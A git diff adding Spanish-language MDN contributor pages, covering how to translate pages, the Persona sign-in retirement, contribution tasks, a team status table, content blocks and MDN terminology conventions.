+   <td>Русский</td>
+   <td><a href="https://developer.mozilla.org/ru/docs/feeds/atom/all">https://developer.mozilla.org/ru/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/sq/">Albanian</a></th>
+   <td>sq</td>
+   <td>Shqip</td>
+   <td><a href="https://developer.mozilla.org/sq/docs/feeds/atom/all">https://developer.mozilla.org/sq/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/th/">Thai</a></th>
+   <td>th</td>
+   <td>ไทย</td>
+   <td><a href="https://developer.mozilla.org/th/docs/feeds/atom/all">https://developer.mozilla.org/th/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/tr/">Turkish</a></th>
+   <td>tr</td>
+   <td>Türkçe</td>
+   <td><a href="https://developer.mozilla.org/tr/docs/feeds/atom/all">https://developer.mozilla.org/tr/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/vi/">Vietnamese</a></th>
+   <td>vi</td>
+   <td>Tiếng Việt</td>
+   <td><a href="https://developer.mozilla.org/vi/docs/feeds/atom/all">https://developer.mozilla.org/vi/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/zh-CN/">Chinese (Simplified)</a></th>
+   <td>zh-CN</td>
+   <td>中文 (简体)</td>
+   <td><a href="https://developer.mozilla.org/zh-CN/docs/feeds/atom/all">https://developer.mozilla.org/zh-CN/docs/feeds/atom/all</a></td>
+  </tr>
+  <tr>
+   <th><a href="https://developer.mozilla.org/zh-TW/">Chinese (Traditional)</a></th>
+   <td>zh-TW</td>
+   <td>正體中文 (繁體)</td>
+   <td><a href="https://developer.mozilla.org/zh-TW/docs/feeds/atom/all">https://developer.mozilla.org/zh-TW/docs/feeds/atom/all</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Si deseas tener una fuente personalizada, echa un vistazo a <a href="/es-ES/docs/Project:Feeds" title="Feeds | MDN">Feeds.</a></p>
+
+<h2 id="Política">Política</h2>
+
+<p>Todos los materiales creados y traducidos para la MDN deben seguir nuestras políticas sobre <a href="/es-ES/docs/Project:Copyrights">Derechos de autor y licencias</a>.</p>
+
+<p>Si encuentras algún problema (técnico, sobre la política o de cualquier otra clase), por favor, ponte en contacto con Eric Shepherd utilizando la información de contacto de su <a href="/en-US/profiles/Sheppy">página de usuario</a>.</p>
+
+<p> </p>
diff --git a/files/es/mdn/contribute/localize/project_colon_translating_mdn_pages/index.html b/files/es/mdn/contribute/localize/project_colon_translating_mdn_pages/index.html
new file mode 100644
index 0000000000..2a6c51a563
--- /dev/null
+++ b/files/es/mdn/contribute/localize/project_colon_translating_mdn_pages/index.html
@@ -0,0 +1,57 @@
+---
+title: Traduciendo páginas de MDN
+slug: 'MDN/Contribute/Localize/Project:Translating_MDN_pages'
+tags:
+  - Guía
+  - MDN Meta
+  - l10n
+translation_of: MDN/Contribute/Localize/Translating_pages
+---
+<div>{{MDNSidebar}}</div>
+
+<p><span id="result_box" lang="en"><span title="Este artículo es una guía básica para traducir contenido en MDN, incluyendo tanto mecanismos de trabajo para la traducción como consejos en la manera apropiada para manipular varios tipos de contenido.
+">Este artículo es una guía básica para traducir contenido en MDN, incluyendo ambas mecánicas de traducir contenido y consejos de maneras apropiadas para encargarse de varios tipos de contenido.</span></span></p>
+
+<h2 id="Empezando_la_traducción_de_una_página">Empezando la traducción de una página</h2>
+
+<p><span title="Cuando te encuentres con una página que te gustaría traducir en tu idioma, sigue los siguientes pasos:     ">Cuando te encuentres con una página que quieras traducir a tu idioma, sigue estos pasos:</span></p>
+
+<ol>
+ <li><span title='Haz click en el icono de idioma ({{FontAwesomeIcon("icon-language")}}) para abrir el menú Lenguajes (Languages), y haz click en Agregar Traducción (Add Translation).'>Haz clic en el ícono de Lenguaje ({{FontAwesomeIcon ("icon-language")}}) para abrir el menú de <strong>Idiomas</strong> y haz clic en <strong>Add a Translation</strong>. </span><span title="Aparecerá la página para seleccionar el idioma.     ">Aparece la página Seleccionar Idiomas.</span></li>
+ <li>Haz clic en el idioma en el que deseas traducir la página. La vista Traducir Artículo se abre con el texto del idioma original en el lado izquierdo de la vista<span title="Se abrirá la vista de Traducción de Artículos mostrando el texto en el lenguaje original al lado izquierdo del visor.     ">.</span></li>
+ <li><span title="Debajo de Descripción de la traducción (Translate Description), puedes traducir el título y opcionalmente el enlace amigable (Slug) al lenguaje de destino.">Debajo de </span><strong>Translate Description</strong><span title="Debajo de Descripción de la traducción (Translate Description), puedes traducir el título y opcionalmente el enlace amigable (Slug) al lenguaje de destino.">, puedes traducir el título y opcionalmente la link amigable (Slug) al Idioma deseado. </span><span title='El enlace amigable es la última parte de la URL de una página (por ejemplo, "Traduciendo_Paginas" para este articulo.) Algunas comunidades de lenguajes no traducen el enlace amigable, dejándolo en Inglés.'>El enlace amiglable es la última parte de un enlace (link) de una URL (por ejemplo, "Translating_Pages" De este artículo).  Algunas comunidades no traducen el <strong>Enlace (link)</strong>, dejándolo en Inglés. compara con otros artículos en tu Idioma para determinar prácticas comunes</span><span title="Compara con otros artículos traducidos a tu lenguaje para determinar cuál es la práctica mas común.">. </span><span title="Puedes hacer click en el signo de menos ( - ) al lado de Descripción de la traducción (Translate Description) para ocultar esta información cuando termines con ella, así quedará más espacio para la sección del Contenido de la Traducción (Translate Content).     ">Puedes hacer clic en el símbolo (-) al lado de <strong>Translate Description</strong> para esconder esta información cuando termines, para hacer más espacio para la sección de <strong>Translate content</strong>.</span></li>
+ <li><span title="Debajo de Contenido de la Traducción (Translate Content), traduce el cuerpo de la página.     ">Bajo <strong>Translate Content</strong>, traduce el cuerpo de la página.</span></li>
+ <li><span title="Introduce, por lo menos, una etiqueta para la página.     ">Llena por lo menos una <strong>Etiqueta</strong> para la </span><span title="Debajo de Contenido de la Traducción (Translate Content), traduce el cuerpo de la página.     ">página recién traducida</span><span title="Introduce, por lo menos, una etiqueta para la página.     ">.</span></li>
+ <li><span title="Haz click en Guardar Cambios (Save Changes) cuando termines. ">Haz clic en <strong>Guardar cambios</strong> cuando hayas terminado.</span></li>
+</ol>
+
+<div class="note">
+<p><span title="Nota: Los elementos de interfaz de usuario del visor del artículo que se traduce se muestran inicialmente en inglés."><strong>Nota:</strong> </span>Los elementos de la interfaz de usuario del visor de artículos que se está traduciendo se muestran inicialmente en inglés<span title="Nota: Los elementos de interfaz de usuario del visor del artículo que se traduce se muestran inicialmente en inglés.">. </span>En visitas posteriores para traducir un artículo en particular<span title="En las visitas subsecuentes para traducir un artículo en particular, la IU se muestra en el lenguaje apropiado siempre y cuando esté disponible una localización para ese lenguaje en MDN.">, </span>la IU se muestra en el idioma apropiado, siempre que haya una configuración regional para ese idioma disponible en<span title="En las visitas subsecuentes para traducir un artículo en particular, la IU se muestra en el lenguaje apropiado siempre y cuando esté disponible una localización para ese lenguaje en MDN."> MDN. La </span><span title="La interfaz de usuario de MDN se puede localizar usando Verbatim.">MDN </span>la interfaz de usuario se puede ubicar usando Verbatim<span title="La interfaz de usuario de MDN se puede localizar usando Verbatim.">. </span>Consulte Ubicación con Verbatim para obtener detalles sobre cómo usar esta herramienta<span title="Ver Localización con Verbatim para detalles de cómo usar esta herramienta. ">.</span><br>
+ Editar una página traducida.</p>
+</div>
+
+<h2 id="Editando_una_página_traducida">Editando una página traducida</h2>
+
+<ul>
+ <li> En una página traducida, haga clic en el botón Editar (a veces etiquetado en el idioma de destino). Se abre la vista Artículo traducido.</li>
+</ul>
+
+<p>Si la versión en inglés ha sido modificada desde la última traducción, la vista de traducción del artículo mostrará un nivel de fuente de diferencia<span title='Si la versión original en Inglés (English version) ha sido cambiada desde la última traducción, el Visor del Artículo (Translating Article View) mostrará una fuente de nivel "diff" (source-level "diff") de los cambios hechos en la versión'> (source-level "diff") </span>de los cambios realizados en la versión Original en inglés<span title="original en Inglés.">. </span>De esta forma, podrá ver que debe actualizarse en la traducción.<br>
+ Traducir etiquetas.</p>
+
+<h2 id="Etiquetando_traducciones">Etiquetando traducciones</h2>
+
+<p>Es importante que cada página esté etiquetada con al menos una etiqueta. Incluso si esto es traducción. En general, usar las mismas etiquetas que el artículo original es una buena idea.</p>
+
+<p>Algunas etiquetas se utilizan para filtros de búsqueda o como convenciones entre colaboradores. No deberían ser traducidos. Para leer estas etiquetas, lea los estándares de etiquetado. Puede crear etiquetas traducidas para contenido grupal si no está cubierto por una de las etiquetas estándar.</p>
+
+<h2 id="Consejo_para_los_localizadores">Consejo para los localizadores</h2>
+
+<p>Si recién comienza como un localizador para MDN, aquí hay algunas sugerencias:</p>
+
+<ul>
+ <li>Los artículos del  <a href="https://developer.mozilla.org/en-US/docs/Glossary">Glosario</a> son muy buenos para recién iniciados en traducir porque son cortos y simples.</li>
+ <li>Los artículos etiquetados <a href="https://developer.mozilla.org/en-US/docs/tag/l10n%3Apriority">"l10n:priority"</a> son considerados de alta prioridad para traducir. Además, en general, los tutoriales y artículos de conceptos son de más alta prioridad que las páginas de referencia, dado que los usuarios tienen una mayor necesidad de traducciones cuando aprenden nuevos conceptos.</li>
+ <li><span title="También en general, tutoriales y artículos de conceptos son de más alta prioridad que las páginas de referencia, ya que los lectores tiene una mayor necesidad de traducciones cuando están aprendiendo nuevos conceptos.     ">Si ves un texto entre llaves, como </span> <code>\{{some-text("more text")}}</code>, déjalo sin traducir dentro del artículo y no cambies los signos de puntuación. Este es una macro, que probablemente crea una estructura dentro de la página o hace alguna otra cosa útil. Podrías ver texto sin traducir que es generado por una macro; no te preocupes por ello hasta que obtengas mayor experiencia<span title="También en general, tutoriales y artículos de conceptos son de más alta prioridad que las páginas de referencia, ya que los lectores tiene una mayor necesidad de traducciones cuando están aprendiendo nuevos conceptos.     "> con MDN (Cambiar este texto requiere </span><a href="https://developer.mozilla.org/es/docs/MDN/Contribute/Tools/Template_editing">privilegios especiales</a><span title="También en general, tutoriales y artículos de conceptos son de más alta prioridad que las páginas de referencia, ya que los lectores tiene una mayor necesidad de traducciones cuando están aprendiendo nuevos conceptos.     "> porque algunas macros pueden ser muy poderosas). Si sientes curiosidad, mira las macros utilizadas comunmente para ver la clase de cosas que una macro puede hacer.</span></li>
+ <li><span title="También en general, tutoriales y artículos de conceptos son de más alta prioridad que las páginas de referencia, ya que los lectores tiene una mayor necesidad de traducciones cuando están aprendiendo nuevos conceptos.     ">Revisa la </span><a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Localize/Localization_projects">página de traducción de proyectos </a><span title="También en general, tutoriales y artículos de conceptos son de más alta prioridad que las páginas de referencia, ya que los lectores tiene una mayor necesidad de traducciones cuando están aprendiendo nuevos conceptos.     ">para conocer más acerca de las traducciones para tu idioma.</span></li>
+</ul>
diff --git a/files/es/mdn/contribute/procesos/index.html b/files/es/mdn/contribute/procesos/index.html
new file mode 100644
index 0000000000..a408f11fb7
--- /dev/null
+++ b/files/es/mdn/contribute/procesos/index.html
@@ -0,0 +1,14 @@
+---
+title: Procesos de documentación
+slug: MDN/Contribute/Procesos
+tags:
+  - Landing
+  - MDN Meta
+  - Procesos
+translation_of: MDN/Contribute/Processes
+---
+<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/es/docs/MDN")}}</div>
+
+<p>El proyecto de Documentación MDN es enorme; hay un sinfín de teconologías que cubrimos a través de la asistencia de cientos de colaboradores de todo el mundo. Para ayudarnos a llevar orden al caos, tenemos procesos estandarizados para seguir cuando se trabaja en tareas específicas relacionadas con la documentación. Aquí encontrarás guías para estos procesos.</p>
+
+<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/es/mdn/contribute/registro_persona/index.html b/files/es/mdn/contribute/registro_persona/index.html
new file mode 100644
index 0000000000..37cad64b07
--- /dev/null
+++ b/files/es/mdn/contribute/registro_persona/index.html
@@ -0,0 +1,36 @@
+---
+title: Registro MDN y Persona
+slug: MDN/Contribute/Registro_Persona
+tags:
+  - Documentación
+  - MDN
+  - MDN Meta
+  - Mozilla
+  - Persona
+translation_of: Archive/MDN/Persona_sign-ins
+---
+<div>{{MDNSidebar}}</div><div class="warning">
+<p>Por favor <a href="/en-US/docs/MDN/Contribute/Howto/Link_a_GitHub_account">Enlaza tu cuenta GitHub a tu perfil  MDN ahora</a></p>
+
+<pre class="brush: java">, para que puedas continuar accediendo en MDN.</pre>
+
+<p> </p>
+</div>
+
+<p>Actualmente, MDN permite a los colaboradores iniciar sesión proveiendo dos tipos diferentes de autenticación: Mozilla Persona y GitHub. A partir del 1 de noviembre del 2016, eliminaremos la opción Persona para iniciar sesión. Por lo tanto, deberás habilitar la autenticación de Github en tu perfil para evitar perder el acceso de inicio de sesión a MDN.</p>
+
+<p>Reconocemos que esto es un inconveniente, y nos disculpamos por ello. Desafortunadamente, esto esta fuera de nuestro control.</p>
+
+<h2 id="¿Porqué_Persona_sera_eliminado">¿Porqué Persona sera eliminado?</h2>
+
+<p>Mozilla ha cerrado el proyecto Persona, y sus servidores serán desactivados en Noviembre del 2016. Puedes<a href="https://wiki.mozilla.org/Identity/Persona_Shutdown_Guidelines_for_Reliers#FAQs"> obtener mas información sobre la decisión de Mozilla</a> para retirar Persona de Mozilla wiki.</p>
+
+<h2 id="¿Cuándo_será_eliminado_Persona">¿Cuándo será eliminado Persona?</h2>
+
+<p>Vamos a desactivar Persona como un proveedor de autenticación el 1 de Noviembre del 2016; en otras palabras, el ultimo dia que podrás tener acceso para iniciar sesión en MDN usando Persona sera el 31 de Octubre del 2016. Estaremos emitiendo notificaciones mas frecuentes y cada vez mas urgentes para <a href="/en-US/docs/MDN/Contribute/Howto/Link_a_GitHub_account">agregar la cuenta de GitHub a tu perfil de MDN</a> iniciando ahora. Por favor realiza esto tan pronto como sea posible, con la finalidad de evitar el riesgo de perder el acceso a tu cuenta de MDN.</p>
+
+<h2 id="¿MDN_ofrecerá_otro_proveedor_de_autenticación">¿MDN ofrecerá otro proveedor de autenticación?</h2>
+
+<p>Nos gustaría mucho hacerlo, pero en este momento no tenemos identificado otro proveedor de autenticación que cumpla con nuestros requisitos; además, actualmente no tenemos los recursos de desarrolladores para integrar otro proveedor. Por el momento, la única opción para mantener acceso como colaborador en MDN es <a href="/en-US/docs/MDN/Contribute/Howto/Link_a_GitHub_account">Enlazando tu perfil MDN a tu cuenta GitHub</a>.</p>
+
+<p>Ten en cuenta, por supuesto, que no es necesario iniciar sesión en tu cuenta MDN para leer nuestro contenido. Pero si es necesario tener una cuenta para contribuir, y si deseas ser capaz de contribuir en cualquier momento en el futuro, asegurarte de <em><strong>agregar una cuenta de GitHub a tu perfil tan pronto como sea posible,</strong></em> antes del 31 de Octubre del 2016.</p>
diff --git a/files/es/mdn/contribute/tareas/index.html b/files/es/mdn/contribute/tareas/index.html
new file mode 100644
index 0000000000..b8614f38ee
--- /dev/null
+++ b/files/es/mdn/contribute/tareas/index.html
@@ -0,0 +1,17 @@
+---
+title: Cosas para hacer en MDN
+slug: MDN/Contribute/Tareas
+translation_of: MDN/Contribute/Getting_started
+---
+<div>{{MDNSidebar}}</div><p>¿Estás buscando formas de ayudar a mejorar MDN? Hay muchas formas de ayudar: desde corregir errores tipográficos hasta escribir nuevo contenido, o incluso ayudar a desarrollar la plataforma <a href="/en-US/docs/Project:MDN/Kuma">Kuma</a> en la que se construye el sitio web. La <a href="/en-US/docs/Project:MDN/Contributing">guía para el contribuyente de MDN</a> cubre todas las formas en las que puedes ayudar y cómo hacerlo. Más abajo, encontrarás listas de tareas más específicas que faltan hacer.</p>
+<p>Hay un montón de cosas que puedes hacer para ayudar en MDN. Tenemos una guía para las tareas que puedes llevar a cabo como parte de nuestro artículo <a href="/en-US/docs/MDN/Getting_started#Possible_task_types">Comenzando en MDN</a>. Entre las posibles formas de ayudar se encuentran:</p>
+<ul>
+ <li><a href="/es/docs/MDN/Contribute/revisi%C3%B3n_art%C3%ADtulos">Revisar el contenido para mayor precisión</a> (técnica o editorial)</li>
+ <li><a href="/en-US/docs/MDN/Contribute/Howto/Tag">Actualizar etiquetas en las páginas</a> para mejorar los resultados de búsqueda y generación de la lista de contenidos</li>
+ <li><a href="/en-US/docs/MDN/User_guide/Writing#Adding_a_new_page">Escribir nuevos artículos</a></li>
+ <li><a href="/en-US/docs/MDN/User_guide/Writing#Editing_an_existing_page">Actualizar articulos existentes</a> con nueva información, o corregir errores en la información existente</li>
+ <li><a href="/en-US/docs/MDN/Contribute/Howto/Convert_code_samples_to_be_live">Convertir los ejemplos existentes para usarlos en el sistema de muestra en vivo</a></li>
+ <li><a href="/en-US/docs/MDN/Contribute/Editor/Live_samples">Agregar nuevos códigos de muestra en vivo para que la gente pueda ver el código en acción</a></li>
+ <li><a href="/en-US/docs/Project:MDN/Kuma/Contributing">Ayudar a desarrollar la plataforma Kuma en la que se ejecuta MDN </a></li>
+</ul>
+<p>Para más ideas acerca de cosas en las que puedes colaborar con MDN, vé nuestras <a href="/en-US/docs/MDN/Contribute/Howto">Guías de cómo hacerlo</a>. Puedes encontrar listas de páginas categorizadasque necesitan de tu ayuda en nuestra sección de  <a href="/en-US/docs/MDN/Doc_status/Overview">Estado de la Documentación</a>.</p>
diff --git a/files/es/mdn/contribute/team_status/index.html b/files/es/mdn/contribute/team_status/index.html
new file mode 100644
index 0000000000..c8146f8566
--- /dev/null
+++ b/files/es/mdn/contribute/team_status/index.html
@@ -0,0 +1,93 @@
+---
+title: Tabla de estado del equipo
+slug: MDN/Contribute/Team_status
+translation_of: Archive/Meta_docs/Team_status_board
+---
+<div>{{MDNSidebar}}</div><p>Esta tabla es una lista de contribuyentes MDN y lo que actualmente están trabajando. Siéntase libre de agregarse usted mismo y lo que estás haciendo a esta lista, pero ten en cuenta que vamos a purgar elementos fuera de fecha con regularidad; por lo que si decide añadirte a ti mismo, debe hacer su mejor esfuerzo para mantener actualizada la información (incluso si todo lo que hace es actualizar la "última actualización" que por lo que sabemos que está mantenerlo actualizado, a pesar de su trabajo toma mucho tiempo para terminar).</p>
+<div class="note">
+ <p><strong>Nota:</strong>  No agregue una nueva fila para cada actualización de estado; simplemente actualizar el contenido existente. Esto no tiene la intención de realizar un seguimiento de lo que haces con el tiempo, sino simplemente dejar que las partes interesadas conozcan lo su trabajo actual es.</p>
+</div>
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Username</th>
+   <th scope="col">Last Updated</th>
+   <th scope="col">Status</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{UserLink("Sheppy")}}</td>
+   <td style="white-space: nowrap;">June 19, 2013</td>
+   <td>Ongoing work on MDN contributor guide. Gradually getting back into work on core B2G docs.</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("jswisher")}}</td>
+   <td style="white-space: nowrap;">April 8, 2013</td>
+   <td>Contribution pathway for writing volunteers; Mozilla Reps SIGs for Evangelism and Documentation.</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("teoli")}}</td>
+   <td style="white-space: nowrap;">April 9, 2013</td>
+   <td>Web Audio API; Maintaining CSS/HTML; Fx for devs</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("wbamberg")}}</td>
+   <td style="white-space: nowrap;"> </td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{UserLink("MarkGiffin")}}</td>
+   <td style="white-space: nowrap;">April 8, 2013</td>
+   <td>App payments (in-app and paid apps); reference apps; packaged apps; managing your app.</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("Domecraft")}}</td>
+   <td style="white-space: nowrap;">September 20, 2013</td>
+   <td>Contributions to docs involving Web development</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("Jeremie")}}</td>
+   <td style="white-space: nowrap;">August 8, 2013</td>
+   <td><a href="/en-US/docs/WebAPI/Doc_status" title="/en-US/docs/WebAPI/Doc_status">Keep going on WebAPI</a>, now with a focus on various network APIs</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("madarche")}}</td>
+   <td style="white-space: nowrap;">April 9, 2013</td>
+   <td>Plan to work on IndexedDB again in the next weeks/months, especially on IDBCursor and IDBCursorWithValue.</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("ScottMichaud")}}</td>
+   <td style="white-space: nowrap;">November 6, 2013</td>
+   <td>
+    <p>Doing what I can <a href="/en-US/docs/Games/">with the gaming documentation</a>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{UserLink("Dbs")}}</td>
+   <td style="white-space: nowrap;">April 20, 2013</td>
+   <td>Familiarizing myself with MDN tools, styles, and existing content</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("tregagnon")}}</td>
+   <td style="white-space: nowrap;">June 25, 2013</td>
+   <td>Fixing many broken links between French translations and English source articles. (Thanks to {{UserLink("SphinxKnight")}} crawl reports)</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("justinpotts")}}</td>
+   <td style="white-space: nowrap;">December 9, 2013</td>
+   <td>Adding tags to docs needing them</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("kscarfone")}}</td>
+   <td style="white-space: nowrap;">July 25, 2013</td>
+   <td>Knock out the editorial reviews on all the pending Web API documentation for Firefox OS</td>
+  </tr>
+  <tr>
+   <td>{{UserLink("Chandan1002")}}</td>
+   <td style="white-space: nowrap;">April 21,2014</td>
+   <td>Contributing to docs and translating to Hindi from English source articles.</td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/es/mdn/guidelines/content_blocks/index.html b/files/es/mdn/guidelines/content_blocks/index.html
new file mode 100644
index 0000000000..dedccd3b10
--- /dev/null
+++ b/files/es/mdn/guidelines/content_blocks/index.html
@@ -0,0 +1,46 @@
+---
+title: Bloques de contenido
+slug: MDN/Guidelines/Content_blocks
+tags:
+  - MDN
+  - Meta
+translation_of: MDN/Guidelines/CSS_style_guide
+---
+<div>{{MDNSidebar}}</div><div class="summary">
+ <p>This pages lists reusable content blocks.</p>
+</div>
+<h2 id="Grilla_de_tarjetas">Grilla de tarjetas</h2>
+<p>Permite tener un par de tarjetas cercanas entre sí para llamar a contenidos específicos o para llamar a una acción. La clase CSS es: <code>.card-grid </code>(L 751 - 824 in CustomCSS).</p>
+<ul class="card-grid">
+ <li><span>Refetencia CSS</span>
+  <p>Una <a href="/en-US/docs/Web/CSS/Reference" title="en-US/docs/CSS/CSS_Reference">referencia exhaustiva</a> para <u>desarrolladores Web expertos</u> describiendo cada propiedad y concepto de CSS.</p>
+ </li>
+ <li><span>Tutorial CSS</span>
+  <p>Una <a href="/en-US/docs/CSS/Getting_Started" title="en-US/docs/CSS/Getting_Started">introduccion paso a paso</a> para ayudar a los <u>principiantes</u>. Presenta todos los fundamentos necesarios.</p>
+ </li>
+ <li><span>CSS3 Demos</span>
+  <p>A <a href="/en-US/demos/tag/tech:css3" title="https://developer.mozilla.org/en-US/demos/tag/tech:css3">collection of demos</a> showing the <u>latest CSS technologies</u> in action: a boost for the creativity.</p>
+ </li>
+</ul>
+<h2 id="Dos_columnas">Dos columnas</h2>
+<p>Dos columnas separadas con un borde gris. Normalmente usadas en páginas de destino. Clase de CSS: <code>.topicpage-table</code> (L 830 - 837 &amp; 82-93 in CustomCSS).</p>
+<div class="row topicpage-table">
+ <div class="section">
+  Columna 1</div>
+ <div class="section">
+  Columna 2</div>
+</div>
+<p> </p>
+<h2 id="Columnas_con_la_misma_altura">Columnas con la misma altura</h2>
+<p>Se usa en la página de destino de <a href="/en-US/Firefox_OS">Firefox OS</a> para envolver las columnas que deberían tener el mismo alto. Clase de CSS: <code>.equalColumnHeights</code> (L 25 - 38 in CustomCSS).</p>
+<div class="equalColumnHeights">
+ <div class="zone-callout">
+  Un Texo<br>
+  y nueva linea<br>
+   </div>
+ <div class="zone-callout">
+  Otro texto<br>
+  <br>
+  aquí</div>
+</div>
+<p> </p>
diff --git a/files/es/mdn/guidelines/convenciones_y_definiciones/index.html b/files/es/mdn/guidelines/convenciones_y_definiciones/index.html
new file mode 100644
index 0000000000..c96e4b7ab2
--- /dev/null
+++ b/files/es/mdn/guidelines/convenciones_y_definiciones/index.html
@@ -0,0 +1,201 @@
+---
+title: MDN convenciones y definiciones
+slug: MDN/Guidelines/Convenciones_y_definiciones
+tags:
+  - Directrices
+  - Documentación
+  - Guía
+  - MDN
+  - Meta MDN
+translation_of: MDN/Guidelines/Conventions_definitions
+---
+<div>{{MDNSidebar}}{{IncludeSubnav("/es/docs/MDN")}}</div>
+
+<p class="summary">Este artículo define algunas convenciones y definiciones que se usan comúnmente en MDN, que pueden no ser obvias para algunas personas cuando las encuentran en la documentación.</p>
+
+<h2 id="Definiciones">Definiciones</h2>
+
+<h3 id="Desaprobado_y_obsoleto">Desaprobado y obsoleto</h3>
+
+<p><strong>D</strong><strong>esaprobado</strong> y <strong>obsoleto</strong> son términos comunes asociados con tecnologías y especificaciones, pero ¿qué significan?</p>
+
+<dl>
+ <dt>Desaprobado</dt>
+ <dd>En MDN, el término <strong>desaprobado</strong> se usa para marcar una API o tecnología que ya no se recomienda, pero que aún está implementada y puede funcionar. Recientemente, la hemos actualizado a la definición utilizada en nuestro <a href="https://github.com/mdn/browser-compat-data/blob/master/schemas/compat-data-schema.md#status-information">proyecto de datos de compatibilidad del navegador</a>, que esa "característica ya no se recomienda. Es posible que se elimine en el futuro o que solo se conserve por motivos de compatibilidad. Evita el uso de esta funcionalidad."</dd>
+ <dt>Obsoleto</dt>
+ <dd>En MDN, el término <strong>obsoleto</strong> se utiliza para marcar una API o tecnología que no solo ya no se recomienda, sino que ya no se implementa en los navegadores. Sin embargo, esto fue confuso — es similar a desaprobado, y la distinción no es muy útil (aún no debes usarlo en un sitio de producción). Por lo tanto, ya no la usamos, y cualquier instancia con la que te encuentres se debe eliminar/reemplazar por desaprobada.</dd>
+</dl>
+
+<h3 id="Experimental">Experimental</h3>
+
+<p><strong>Experimental</strong> puede significar diferentes cosas según el contexto en el que lo escuches o lo leas. Cuando una tecnología se describe como experimental en MDN, significa que la tecnología es incipiente e inmadura, y actualmente está en proceso de ser agregada a la plataforma web (o considerada para agregarla).</p>
+
+<p>Uno o ambos de estos serán ciertos:</p>
+
+<ul>
+ <li>Está implementado y habilitado de forma predeterminada en menos de dos de los principales navegadores modernos.</li>
+ <li>Su especificación definitoria no es estable y es probable que cambie significativamente. Por lo tanto, su sintaxis y comportamiento están sujetos a cambios en futuras versiones de navegadores a medida que cambie la especificación.</li>
+</ul>
+
+<p>Si una o ambas de estas definiciones es cierta, entonces debes pensar detenidamente antes de comenzar a usar esa tecnología en cualquier tipo de proyecto de producción (es decir, no solo en una demostración o experimento). Consulta también la definición de experimental en nuestro <a href="https://github.com/mdn/browser-compat-data/blob/master/schemas/compat-data-schema.md#status-information">proyecto de datos de compatibilidad del navegador</a>.</p>
+
+<p>Por el contrario, un elemento ya no es experimental cuando:</p>
+
+<ul>
+ <li>Está implementado en dos o más navegadores principales; o</li>
+ <li>Su especificación definitoria es estable y es poco probable que cambie.</li>
+</ul>
+
+<p>El <em>or</em> es importante aquí — por lo general, si una tecnología es compatible con varios navegadores importantes, la especificación será estable, pero no siempre es así. Y algunas tecnologías tendrán una especificación estable y se usarán bien, pero no tendrán soporte nativo en los navegadores (<a href="/es/docs/Related/IMSC">IMSC</a>, por ejemplo).</p>
+
+<h3 id="Páginas_archivadas">Páginas archivadas</h3>
+
+<p>Las páginas archivadas son páginas que se almacenan en el <a href="/es/docs/Archive">Archivo de contenido obsoleto</a> de MDN. Estas páginas contienen información lo suficientemente desactualizada como para que ya no sea directamente útil para nadie.</p>
+
+<p>Por lo general, estas se refieren a proyectos de Mozilla que han sido descontinuados y ya no se debe confiar en ellos. Pero no las eliminamos simplemente porque forman un registro histórico útil, y algunos de los patrones o ideas contenidos en ellos podrían ser útiles para trabajos futuros. Un buen ejemplo es el <a href="/es/docs/Archive/B2G_OS">proyecto B2G (Firefox OS)</a>.</p>
+
+<h4 id="¿Cuándo_se_debe_archivar_una_página">¿Cuándo se debe archivar una página?</h4>
+
+<p>Una página se debe archivar si se ajusta a la descripción anterior. Para archivar una página, debes utilizar la "función Mover página" (<em>Avanzado &gt; Mover este artículo</em>) para mover la página al árbol de páginas de archivo (/es/docs/Archive). Es posible que no tengas los permisos para usar esta función, y antes de comenzar a archivar páginas, primero debas discutirlo con la comunidad MDN; habla con nosotros en nuestro <a href="https://discourse.mozilla.org/c/mdn">Foro de discusión</a>.</p>
+
+<h3 id="Páginas_eliminadas">Páginas eliminadas</h3>
+
+<p>Las páginas eliminadas son páginas que se eliminaron explícitamente de MDN — consulta, por ejemplo, la interfaz <a href="/es/docs/Web/API/SharedKeyframeList"><code>SharedKeyframeList</code></a> y el constructor <a href="/es/docs/Web/API/SharedKeyframeList/SharedKeyframeList"><code>SharedKeyframeList()</code></a>. Estas páginas contienen información que ya no es útil de ninguna manera y/o puede ser incorrecta hasta el punto en que mantenerla disponible puede ser confuso o malo para la gente.</p>
+
+<p>Estas pueden ser:</p>
+
+<ul>
+ <li>Páginas de referencia para funciones de API que se eliminaron de la especificación antes de que se implementaran en cualquier navegador.</li>
+ <li>Artículos que cubren técnicas que luego se demostró que eran malas prácticas y fueron reemplazadas por mejores técnicas.</li>
+ <li>Artículos que contienen información que luego fue reemplazada por otros artículos de mejor calidad.</li>
+ <li>Artículos que contienen contenido inapropiado para MDN.</li>
+ <li>Traducciones antiguas, desactualizadas y difíciles de arreglar, lo que significa que la versión en inglés es preferible y comenzar una nueva traducción sería una opción más fácil.</li>
+</ul>
+
+<h4 id="¿Cuándo_se_debe_eliminar_una_página">¿Cuándo se debe eliminar una página?</h4>
+
